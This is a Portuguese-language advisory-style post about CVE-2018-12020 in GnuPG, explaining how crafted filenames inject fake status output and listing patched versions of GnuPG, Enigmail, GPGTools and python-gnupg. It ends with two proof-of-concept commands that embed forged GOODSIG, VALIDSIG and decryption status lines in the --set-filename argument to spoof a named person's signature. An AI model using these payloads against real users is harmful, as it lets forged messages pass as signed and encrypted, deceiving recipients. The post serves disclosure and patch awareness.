Seguindo o fiasco da vulnerabilidade EFAIL que envolve formatação HTML em emails para sequestro de dados, temos o CVE-2018-12020.

De acordo com o CVE, o arquivo mainproc.c do GnuPG antes da versão 2.2.8 não trata corretamente o nome do arquivo durante o processo de criptografia e verificação, permitindo que o atacante insira a saída ao GnuPG através do filedescriptor 2 usando o --status-fd 2 . Uma sequência OpenPGP que represente o arquivo original em conjunção com as ações(códigos de status) GOODSIG e VALIDSIG são o suficiente para gerar um ataque válido. O problema foi corrigido nas versões GnuPG 2.2.8, Enigmail 2.0.7, GPGTools 2018.3, e python GnuPG 0.4.3 e a atualização destes softwares é recomendada. Também é uma boa pratica desabilitar o verbose no arquivo de configuração gpg.conf.

POCs:

1

$ echo 'Please send me one of those expensive washing machines.' \
| gpg --armor -r VICTIM_KEYID --encrypt --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig \
\n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\
\n[GNUPG:] TRUST_FULLY 0 classic\
\ngpg: '\'`" > poc1.msg

2

echo "See you at the secret spot tomorrow 10am." | gpg --armor --store --compress-level 0 --set-filename "`echo -ne \''\
\n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig \
\n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\
\n[GNUPG:] TRUST_FULLY\
\n[GNUPG:] BEGIN_DECRYPTION\
\n[GNUPG:] DECRYPTION_OKAY\
\n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\
\ngpg: '\'`" > poc2.msg

Fonte 1: ArsTechnica

Fonte 2: CVE-2018-12020